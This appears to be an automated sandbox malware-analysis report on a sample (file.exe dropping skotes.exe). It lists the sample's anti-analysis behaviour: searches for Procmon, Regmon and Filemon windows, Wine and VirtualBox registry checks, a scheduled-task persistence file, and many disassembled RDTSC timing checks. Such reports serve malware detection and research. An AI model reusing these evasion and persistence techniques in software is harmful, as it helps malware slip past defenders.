Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Documents\HIDGCFBFBF.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9D55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9D55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10241 second address: F10245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10245 second address: F10249 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1070497 second address: 10704AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C0133BF50h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10704AB second address: 10704B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1085D44 second address: 1085D4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1085D4C second address: 1085D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push esi 0x00000007 pop esi 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b popad 0x0000000c push edx 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1085EA1 second address: 1085ED5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0C0133BF46h 0x00000008 jg 00007F0C0133BF46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jnp 00007F0C0133BF52h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F0C0133BF50h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1085ED5 second address: 1085F1D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0C00BB0B06h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F0C00BB0B0Fh 0x00000011 popad 0x00000012 pushad 0x00000013 jmp 00007F0C00BB0B18h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F0C00BB0B11h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1085F1D second address: 1085F21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1086083 second address: 108608B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107048F second address: 1070497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10892E2 second address: 10892F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007F0C00BB0B06h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108942D second address: 1089442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0C0133BF4Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1089526 second address: 1089575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 xor dword ptr [esp], 665E21EFh 0x0000000d push 00000003h 0x0000000f add dword ptr [ebp+122D26C1h], eax 0x00000015 push 00000000h 0x00000017 add dl, FFFFFF82h 0x0000001a push 00000003h 0x0000001c mov dx, 8D3Eh 0x00000020 jmp 00007F0C00BB0B0Eh 0x00000025 call 00007F0C00BB0B09h 0x0000002a push ecx 0x0000002b jl 00007F0C00BB0B0Ch 0x00000031 pop ecx 0x00000032 push eax 0x00000033 jnl 00007F0C00BB0B14h 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1089575 second address: 10895ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0C0133BF46h 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007F0C0133BF54h 0x00000014 mov eax, dword ptr [eax] 0x00000016 jmp 00007F0C0133BF57h 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push edi 0x00000020 ja 00007F0C0133BF4Ch 0x00000026 pop edi 0x00000027 pop eax 0x00000028 jo 00007F0C0133BF4Eh 0x0000002e push esi 0x0000002f sub dword ptr [ebp+122D1BA5h], edi 0x00000035 pop edi 0x00000036 lea ebx, dword ptr [ebp+1244D248h] 0x0000003c mov esi, ebx 0x0000003e call 00007F0C0133BF4Ch 0x00000043 pop edi 0x00000044 xchg eax, ebx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10895ED second address: 1089606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C00BB0B14h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108963D second address: 10896CC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D1B1Eh], esi 0x00000011 push 00000000h 0x00000013 adc dx, 17D7h 0x00000018 call 00007F0C0133BF49h 0x0000001d pushad 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 pushad 0x00000025 jmp 00007F0C0133BF4Dh 0x0000002a jmp 00007F0C0133BF4Ch 0x0000002f popad 0x00000030 popad 0x00000031 push eax 0x00000032 pushad 0x00000033 jo 00007F0C0133BF48h 0x00000039 pushad 0x0000003a popad 0x0000003b jmp 00007F0C0133BF4Ah 0x00000040 popad 0x00000041 mov eax, dword ptr [esp+04h] 0x00000045 push edi 0x00000046 jmp 00007F0C0133BF4Ch 0x0000004b pop edi 0x0000004c mov eax, dword ptr [eax] 0x0000004e jmp 00007F0C0133BF55h 0x00000053 mov dword ptr [esp+04h], eax 0x00000057 jg 00007F0C0133BF4Eh 0x0000005d push edi 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109A9F5 second address: 109A9F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A9DF3 second address: 10A9DF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A9DF8 second address: 10A9DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A9DFE second address: 10A9E16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F0C0133BF4Ah 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A9E16 second address: 10A9E35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C00BB0B15h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A9E35 second address: 10A9E3B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A7C38 second address: 10A7C3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A7DCF second address: 10A7DE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0C0133BF52h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A7DE7 second address: 10A7DEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A7DEB second address: 10A7E08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0C0133BF50h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A7F66 second address: 10A7F6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A7F6F second address: 10A7F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A7F75 second address: 10A7F9D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0C00BB0B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F0C00BB0B14h 0x0000000f popad 0x00000010 pushad 0x00000011 js 00007F0C00BB0B0Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A888D second address: 10A8891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A8891 second address: 10A8897 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A8E30 second address: 10A8E4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C0133BF59h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109CD4C second address: 109CD56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10770AC second address: 10770C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C0133BF51h 0x00000009 pop edx 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10770C7 second address: 10770CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A9712 second address: 10A9718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A9718 second address: 10A971E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A99F1 second address: 10A99FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AB8BC second address: 10AB8C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AB8C0 second address: 10AB8CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AD203 second address: 10AD20F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AD20F second address: 10AD213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B4650 second address: 10B4657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B4657 second address: 10B467D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0C0133BF56h 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F0C0133BF46h 0x00000010 jno 00007F0C0133BF46h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3A9E second address: 10B3AA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3BF4 second address: 10B3BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3BF8 second address: 10B3BFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3BFC second address: 10B3C41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F0C0133BF53h 0x0000000d jmp 00007F0C0133BF54h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jg 00007F0C0133BF46h 0x0000001c jmp 00007F0C0133BF4Ah 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3C41 second address: 10B3C46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3C46 second address: 10B3C5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C0133BF52h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B44B8 second address: 10B44C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007F0C00BB0B06h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B44C9 second address: 10B44CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B44CE second address: 10B44D8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0C00BB0B0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B44D8 second address: 10B4502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F0C0133BF4Fh 0x0000000c jmp 00007F0C0133BF4Bh 0x00000011 pushad 0x00000012 jbe 00007F0C0133BF46h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B4502 second address: 10B4508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B4508 second address: 10B450E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B59F4 second address: 10B59FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B59FF second address: 10B5A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F0C0133BF46h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5A13 second address: 10B5A19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5A19 second address: 10B5A31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C0133BF4Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5A31 second address: 10B5A35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5A35 second address: 10B5A91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F0C0133BF5Dh 0x0000000c jmp 00007F0C0133BF57h 0x00000011 popad 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push edx 0x00000017 push eax 0x00000018 jp 00007F0C0133BF46h 0x0000001e pop eax 0x0000001f pop edx 0x00000020 pop eax 0x00000021 mov edi, dword ptr [ebp+122D2987h] 0x00000027 push 0CD286D9h 0x0000002c jc 00007F0C0133BF68h 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F0C0133BF56h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5A91 second address: 10B5A95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5BE1 second address: 10B5C04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0C0133BF4Eh 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 jnc 00007F0C0133BF46h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5D72 second address: 10B5DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C00BB0B10h 0x00000009 popad 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0C00BB0B15h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5DA0 second address: 10B5DB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C0133BF53h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B68A8 second address: 10B68C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F0C00BB0B06h 0x00000009 jo 00007F0C00BB0B06h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6B1B second address: 10B6B25 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0C0133BF4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8CB8 second address: 10B8CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7BC4 second address: 10B7BC9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8CBE second address: 10B8CCB instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0C00BB0B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8CCB second address: 10B8CD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
